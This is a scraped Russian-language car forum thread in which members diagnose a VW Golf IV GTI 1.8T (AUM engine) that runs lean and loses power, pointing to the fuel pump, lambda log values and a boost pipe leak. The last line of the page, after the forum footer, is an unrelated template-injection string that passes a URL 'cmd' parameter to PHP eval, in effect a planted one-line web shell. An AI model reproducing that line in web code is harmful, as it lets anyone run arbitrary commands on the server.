+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя
Показано с 1 по 10 из 28

Тема: Проблема Г4 AUM


Комбинированный просмотр

  1. #1
    GTI-Racing Gennadich is on a distinguished road Аватар для Gennadich
    Регистрация
    21.06.2010
    Откуда
    GOLIANOVO
    Машина
    MK IV GTI
    Сообщений
    35

    Проблема Г4 AUM

    может кто подскажет что у меня с машиной. Машина не едет. Приговор замена турбины, но всё же. Может проблема не в ней или мне просто хочется в это верить ))))

  2. #2
    GTI-Racing DepecheR is on a distinguished road Аватар для DepecheR
    Регистрация
    21.01.2012
    Откуда
    Railway-City
    Машина
    Rennrad
    Сообщений
    856
    А кто приговор то вынес ?
    -=Мой конструктор "Юность-35": https://www.drive2.ru/r/volkswagen/288230376152074605/=-

  3. #3
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    имхо насос надо проверять.
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  4. #4
    GTI-Racing Gennadich is on a distinguished road Аватар для Gennadich
    Регистрация
    21.06.2010
    Откуда
    GOLIANOVO
    Машина
    MK IV GTI
    Сообщений
    35
    проблема такая: газ в пол, чихает, стреляет, не едет. Ошибки выдает: бедная смесь, потеря давления от турбины до дросселя и лямда. Однажды машина на холостом ходу долго постояла и задымила. Сейчас отключаю расходомер едет по лучше. Вот такая проблема.

  5. #5
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    Логи сняты со снятой фишкой дмрв?!
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  6. #6
    GTI-Racing Gennadich is on a distinguished road Аватар для Gennadich
    Регистрация
    21.06.2010
    Откуда
    GOLIANOVO
    Машина
    MK IV GTI
    Сообщений
    35
    какой то один со снятой, по моему самый первый.

  7. #7
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    проверяй насос
    турба по логам как минимум пока еще живет.
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  8. #8
    GTI-Racing Gennadich is on a distinguished road Аватар для Gennadich
    Регистрация
    21.06.2010
    Откуда
    GOLIANOVO
    Машина
    MK IV GTI
    Сообщений
    35
    давление топлива в норме, причина не в насосе. Ошибок не выдает. Что может еще?

  9. #9
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    Цитата Сообщение от Gennadich Посмотреть сообщение
    давление топлива в норме, причина не в насосе. Ошибок не выдает. Что может еще?
    Кто тебе сказал что давление в норме?
    у тебя судя по логам с 31 группы, бензин вообще не подается в нужном объеме. . .
    мотор запрашивает
    коэфициент по лямбде во втором столбце- запрашиваемое значение, а в первом- фактическое
    1.117, 0.727,
    1.109, 0.735,
    Так вот на всем протяжении твоего наддува у тебя коэф БЕДНЫЕ!!!
    Открути свечи посмотри их цвет если белые то бенза мало, хотя судя по логу у тебя и так ясно что топлива не хватает. . .
    Бенз надо мерять под нагрузкой, с манометром, тапку давишь и едешь, стрелка манометра не должна падать, если снижается до 2х бар, то насосу смерть. . . .
    BMW 330D POWERED by Dizelboost :pepper:

  10. #10
    GTI-Racing varyag62 is on a distinguished road Аватар для varyag62
    Регистрация
    05.11.2007
    Откуда
    Москва
    Машина
    Skoda Octavia WTS (1.8т - AUM)
    Сообщений
    97
    Посмотри патрубок от турбы к куллеру, именно тот, что за двигателем, там стоит гавно-соединитель... Может травить оттуда...

+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя

Похожие темы

  1. 2.0T проблема
    от davv в разделе Двигатель
    Ответов: 17
    Последнее сообщение: 21.01.2010, 10:32
  2. Проблема С Vr6
    от Б.Андрей в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 13
    Последнее сообщение: 04.12.2008, 02:03
  3. Проблема
    от Дзынь в разделе Ремонт и обслуживание
    Ответов: 9
    Последнее сообщение: 06.07.2008, 02:05
  4. проблема с ECU
    от chaos в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 16
    Последнее сообщение: 30.04.2008, 22:02
  5. EPC в че проблема???
    от Антоха в разделе Электрика
    Ответов: 9
    Последнее сообщение: 01.09.2007, 13:55

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}